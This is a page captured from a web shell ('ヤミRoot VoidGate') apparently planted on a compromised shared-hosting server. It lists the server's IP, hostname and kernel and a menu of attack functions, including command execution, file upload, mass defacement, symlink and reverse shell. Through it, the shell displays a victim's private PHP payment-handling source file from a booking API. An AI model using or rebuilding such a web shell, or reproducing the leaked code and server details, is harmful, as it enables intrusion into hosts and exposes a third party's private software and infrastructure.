ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Manager
/
Viewing: PaymentManager.php
<?php namespace AppBundle\Manager; use Doctrine\ORM\EntityManager; use AppBundle\Utils\Signer\Signer; use AppBundle\Entity\Payment; use AppBundle\Entity\PaymentService; class PaymentManager extends AbstractResourceManager { private $signer; public function __construct(EntityManager $manager, Signer $signer) { parent::__construct($manager); $this->signer = $signer; } public function finishPayment($booking, $paymentService, $paymentAmount, $referenceNumber, $operator) { //TODO $payment = new Payment(); $payment->setBooking($booking); $payment->setPaymentService($paymentService); $payment->setAmount($paymentAmount); if ($paymentService->getType()== PaymentService::TYPE_CASH and $operator) { $payment->setOperator($operator); //No reference number for cash deposit. We will consider the paymentId as reference number } else { $payment->setReferenceNumber($referenceNumber); } $booking->getTicket()->setPaidInFull(true); $this->manager->persist($payment); $this->manager->flush(); return $payment; } public function isPaid($booking) { $payment = $this ->manager ->getRepository('AppBundle:Payment') ->findOneByBooking($booking); if ($payment and $payment->getAmount() == $booking->getTravel()->getSitCost()) { return true; } else { return false; } } /** * check payment */ public function isValidPayment($payment) { //TODO It depends on how the related payment service works } public function buildStringToSign(Payment $payment) { $signStr = $payment->getPaymentId(). ";". $payment->getReferenceNumber(). ";". $payment->getAmount(). ";". $payment->getBooking()->getBookingId(); return $signStr; } /** * sign a payment using the server's key and return the signature string */ public function signPaymentByServer(Payment $payment) { $strToSign = $this->buildStringToSign($payment); $binarySignature = $this->signer->signDataByServer($strToSign); $payment->setBase64serverSignature(base64_encode($binarySignature)); $this->manager->flush(); return true; } /** * check the validity of a payment signed with the server's key */ public function checkPaymentSignedByServer($payment) { $strToSign = $this->buildStringToSign($payment); $binarySignature = base64_decode($payment->getBase64serverSignature()); return $this->signer->checkDataSignedByServer($strToSign, $binarySignature); } }
Coded With 💗 by
0x6ick